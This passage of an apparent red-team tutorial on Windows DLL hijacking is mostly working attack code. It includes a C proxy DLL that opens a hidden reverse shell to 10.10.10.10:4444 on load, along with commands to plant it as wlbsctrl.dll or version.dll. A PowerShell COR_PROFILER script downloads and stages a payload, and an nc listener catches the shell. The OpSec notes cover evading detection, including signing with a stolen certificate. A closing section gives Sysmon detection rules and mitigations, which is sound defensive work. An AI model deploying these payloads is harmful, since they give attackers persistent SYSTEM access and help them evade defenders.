19#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
20#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
21#pragma comment(linker, "/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
22#pragma comment(linker, "/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
23#pragma comment(linker, "/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
24#pragma comment(linker, "/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
25#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
26#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
27
28#define WIN32_LEAN_AND_MEAN
29#include <windows.h>
30#include <winsock2.h>
31#include <ws2tcpip.h>
32
33#define LHOST "10.10.10.10"
34#define LPORT 4444
35
36static DWORD WINAPI shell_thread(LPVOID p) {
37 (void)p;
38 Sleep(800);
39
40 WSADATA wsa = {0};
41 WSAStartup(MAKEWORD(2,2), &wsa);
42
43 SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
44 NULL, 0, WSA_FLAG_OVERLAPPED);
45
46 struct sockaddr_in sa = {0};
47 sa.sin_family = AF_INET;
48 sa.sin_port = htons(LPORT);
49 inet_pton(AF_INET, LHOST, &sa.sin_addr);
50
51 int r = 5;
52 while (r-- > 0) {
53 if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) == 0) break;
54 Sleep(2000);
55 }
56 if (r < 0) { closesocket(sock); WSACleanup(); return 1; }
57
58 STARTUPINFOA si = {0};
59 PROCESS_INFORMATION pi = {0};
60 si.cb = sizeof(si);
61 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
62 si.wShowWindow = SW_HIDE;
63 si.hStdInput = (HANDLE)sock;
64 si.hStdOutput = (HANDLE)sock;
65 si.hStdError = (HANDLE)sock;
66
67 char cmd[] = "cmd.exe";
68 CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
69 CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
70 WaitForSingleObject(pi.hProcess, INFINITE);
71 CloseHandle(pi.hProcess);
72 CloseHandle(pi.hThread);
73 closesocket(sock);
74 WSACleanup();
75 return 0;
76}
77
78BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
79 if (reason == DLL_PROCESS_ATTACH) {
80 DisableThreadLibraryCalls(hMod);
81 CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
82 }
83 return TRUE;
84}Phase 4 — High-Value Targets
Target 1: IKEEXT service — wlbsctrl.dll
wlbsctrl.dll doesn’t exist on default Windows installs. The IKEEXT (IKE and AuthIP IPsec Keying Modules) service tries to load it and fails silently. Drop your DLL at the right path, restart IKEEXT (or wait for a trigger), and it loads in a SYSTEM context.
:: drop phantom DLL — no forwarding needed, real DLL doesn't exist
copy hijack_base.dll C:\Windows\System32\wlbsctrl.dll
:: trigger (requires restart or the service to recycle — can also wait)
:: if you have SeManageVolume or similar: sc stop IKEEXT && sc start IKEEXTContext: SYSTEM. Trigger: Service restart or network authentication event. Persistence: Survives reboots. The service loads the DLL on every start.
Target 2: version.dll side-loading
version.dll is one of the most universally loaded DLLs. Nearly every GUI application imports it for version checking. Many applications in C:\Program Files\ load it from their own directory first (before System32), making any writable app directory a viable drop point.
1# find applications that load version.dll from their own dir
2# (i.e., they have a local version.dll OR their dir is writable)
3Get-ChildItem "$env:PROGRAMFILES" -Recurse -Filter "version.dll" -ErrorAction SilentlyContinue |
4 ForEach-Object {
5 $dir = $_.DirectoryName
6 $probe = Join-Path $dir "probe_test.tmp"
7 try {
8 [IO.File]::WriteAllBytes($probe, @(0))
9 Remove-Item $probe -Force
10 Write-Host "[WRITABLE] $dir" -ForegroundColor Yellow
11 } catch {}
12 }:: compile version proxy
x86_64-w64-mingw32-gcc -shared -o version.dll version_proxy.c ^
-lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none
:: drop in vulnerable app directory
copy version.dll "C:\Program Files\VulnerableApp\version.dll"
:: trigger: launch the app (or it may already be running as a service)Target 3: COR_PROFILER — .NET profiler hijack
The .NET CLR loads a profiler DLL specified by the COR_PROFILER_PATH environment variable whenever a .NET application starts. This is a legitimate debugging feature and a reliable user-level DLL load primitive that doesn’t require finding a specific vulnerable application.
1# COR_PROFILER_Hijack.ps1
2# Sets user-level env vars so any .NET process this user launches
3# loads our profiler DLL.
4# No admin required. Survives logoff (registry-persisted).
5
6param(
7 [string]$DllPath = "C:\Windows\Tasks\CLRProfiler.dll",
8 [string]$DllUrl = "http://10.10.10.10/hijack_base.dll"
9)
10
11# fetch and stage the DLL to a trusted writable path
12(New-Object Net.WebClient).DownloadFile($DllUrl, $DllPath)
13Write-Host "[+] DLL staged: $DllPath"
14
15# generate a unique CLSID (doesn't need to be registered)
16$clsid = [System.Guid]::NewGuid().ToString("B").ToUpper()
17
18# set environment variables — affect all child .NET processes
19[Environment]::SetEnvironmentVariable("COR_ENABLE_PROFILING", "1", "User")
20[Environment]::SetEnvironmentVariable("COR_PROFILER", $clsid, "User")
21[Environment]::SetEnvironmentVariable("COR_PROFILER_PATH", $DllPath, "User")
22
23# also set for current session
24$env:COR_ENABLE_PROFILING = "1"
25$env:COR_PROFILER = $clsid
26$env:COR_PROFILER_PATH = $DllPath
27
28Write-Host "[+] COR_PROFILER hijack armed"
29Write-Host "[*] CLSID : $clsid"
30Write-Host "[*] DLL : $DllPath"
31Write-Host "[*] trigger: launch any .NET application (PowerShell, msbuild, etc.)"
32Write-Host ""
33Write-Host "[*] cleanup: run Remove-CORProfiler.ps1 after engagement"# Remove-CORProfiler.ps1 — cleanup
[Environment]::SetEnvironmentVariable("COR_ENABLE_PROFILING", $null, "User")
[Environment]::SetEnvironmentVariable("COR_PROFILER", $null, "User")
[Environment]::SetEnvironmentVariable("COR_PROFILER_PATH", $null, "User")
Write-Host "[+] COR_PROFILER environment variables removed"The profiler DLL must export DllGetClassObject to satisfy the CLR loader. Add this stub to hijack_base.c:
/* add to hijack_base.c when using as COR_PROFILER payload */
#include <objbase.h>
__declspec(dllexport)
HRESULT STDAPICALLTYPE DllGetClassObject(REFCLSID rclsid,
REFIID riid,
LPVOID *ppv) {
/* return failure — CLR will continue loading, payload already fired in DllMain */
return CLASS_E_CLASSNOTAVAILABLE;
}Full Engagement Workflow
1. Run Find-PhantomDLLs.ps1
→ identifies confirmed phantom targets on this machine
2. Run Find-HijackableApps.ps1 -CheckImports
→ finds signed applications in trusted paths with writable directories
→ lists DLLs each app imports (candidates for side-loading)
3. Choose strategy:
Phantom DLL? → compile hijack_base.c, drop as the missing DLL
Side-load? → run dll_proxy_gen.py against the real DLL,
compile proxy, drop with real DLL renamed
No file drop? → use COR_PROFILER technique (env var only)
4. Stage payload:
copy <payload>.dll <writable trusted path or app dir>\<target>.dll
5. Trigger:
Service hijack: wait for service recycle / reboot
App side-load: launch the application
COR_PROFILER: launch any .NET process
6. Catch shell on listener:
nc -lvnp 4444Persistence
DLL hijacking is naturally persistent: the malicious DLL loads every time the host process starts. For service-based targets this means every boot. No registry run keys, no scheduled tasks, no new processes that defenders can spot at startup.
1# Verify-Persistence.ps1 — confirm the hijack DLL will survive reboot
2param([string]$DllPath)
3
4if (-not (Test-Path $DllPath)) {
5 Write-Host "[-] DLL not found at $DllPath" -ForegroundColor Red
6 return
7}
8
9$sig = Get-AuthenticodeSignature $DllPath
10Write-Host "[*] Path : $DllPath"
11Write-Host "[*] Signed : $($sig.Status)"
12Write-Host "[*] Exists : True"
13
14# check if path is in a location that persists across user sessions
15$persistent = $DllPath -match "System32|SysWOW64|Program Files|Windows\\Tasks"
16Write-Host "[*] Survives logoff: $persistent"
17
18# check if any service is configured to load from this directory
19$dir = Split-Path $DllPath
20Get-WmiObject Win32_Service | Where-Object {
21 $_.PathName -like "$dir\*"
22} | ForEach-Object {
23 Write-Host "[+] Service trigger: $($_.Name) ($($_.StartMode))" -ForegroundColor Green
24}OpSec Notes
- DLL name — use the exact name the target expects. A DLL named
wlbsctrl.dllin System32 is invisible to the untrained eye. A DLL namedpayload.dllis not. - Forwarding — always proxy when replacing a real DLL. A host application that crashes immediately after loading your DLL is a guaranteed incident ticket.
- Thread timing — the
Sleep(800)inDllMainis important. Connecting out before the host process finishes initialization can cause loading failures or deadlocks. For service DLLs, increase this to 2000–5000ms. - Architecture — match the bitness of your DLL to the host process. A 64-bit process will not load a 32-bit DLL.
Find-HijackableApps.ps1reports the binary architecture via PE header parsing — check before compiling. - Signing — unsigned DLLs loaded by signed applications generate Sysmon EID 7 events with
Signed: false. Self-signing with a purchased or stolen certificate changes the hash and suppresses the unsigned flag. - COR_PROFILER is one of the quietest techniques: no file in a suspicious path, no new service, triggers only when .NET processes launch. Clean up environment variables immediately after your shell is stable.
Detection (Blue Team)
| signal | event |
|---|---|
| Unsigned DLL loaded by signed process | Sysmon EID 7 — Signed: false, SignatureStatus != Valid |
| DLL loaded from non-standard path | Sysmon EID 7 — ImageLoaded path outside System32 |
| New DLL written to application directory | Sysmon EID 11 — FileCreate in Program Files |
COR_ENABLE_PROFILING set in user registry | Sysmon EID 13 — Registry value set |
Process loading DLL from %TEMP% or writable trusted path | Sysmon EID 7 — ImageLoaded path analysis |
| Service process spawning unexpected child | Sysmon EID 1 — ParentImage is a service host |
Sysmon rules:
1<!-- unsigned DLL loaded by trusted process -->
2<ImageLoad onmatch="include">
3 <Signed condition="is">false</Signed>
4</ImageLoad>
5
6<!-- DLL loaded from user-writable trusted paths -->
7<ImageLoad onmatch="include">
8 <ImageLoaded condition="contains">Windows\Tasks\</ImageLoaded>
9 <ImageLoaded condition="contains">Windows\Temp\</ImageLoaded>
10 <ImageLoaded condition="contains">Windows\tracing\</ImageLoaded>
11 <ImageLoaded condition="contains">spool\drivers\color\</ImageLoaded>
12</ImageLoad>
13
14<!-- COR_PROFILER registry changes -->
15<RegistryEvent onmatch="include">
16 <TargetObject condition="contains">COR_ENABLE_PROFILING</TargetObject>
17 <TargetObject condition="contains">COR_PROFILER</TargetObject>
18</RegistryEvent>Mitigation: Enable AppLocker DLL Rules (accept the performance cost — it’s worth it). Combine with WDAC publisher rules that require DLLs to be signed by a trusted publisher. For COR_PROFILER: monitor registry changes to HKCU\Environment for profiler-related keys and block via GPO (Computer Configuration → Windows Settings → Security Settings → Software Restriction Policies).
MITRE ATT&CK
| technique | ID | description |
|---|---|---|
| DLL Search Order Hijacking | T1574.001 | Placing malicious DLL earlier in search order |
| DLL Side-Loading | T1574.002 | Dropping DLL alongside legitimate signed binary |
| COR_PROFILER | T1574.012 | Abusing .NET profiler environment variable |
| Hijack Execution Flow | T1574 | Parent technique covering all DLL hijacking |
| Defense Evasion | TA0005 | Primary tactic |
| Persistence | TA0003 | Service/application DLL hijacks survive reboots |
References
- MITRE ATT&CK T1574.001 — DLL Search Order Hijacking
- MITRE ATT&CK T1574.002 — DLL Side-Loading
- MITRE ATT&CK T1574.012 — COR_PROFILER
- LOLBAS Project
- Oddvar Moe — phantom DLL research
- Wietze Beukema — hijacklibs.net
- api0cradle — UltimateAppLockerByPassList
- itm4n — COR_PROFILER research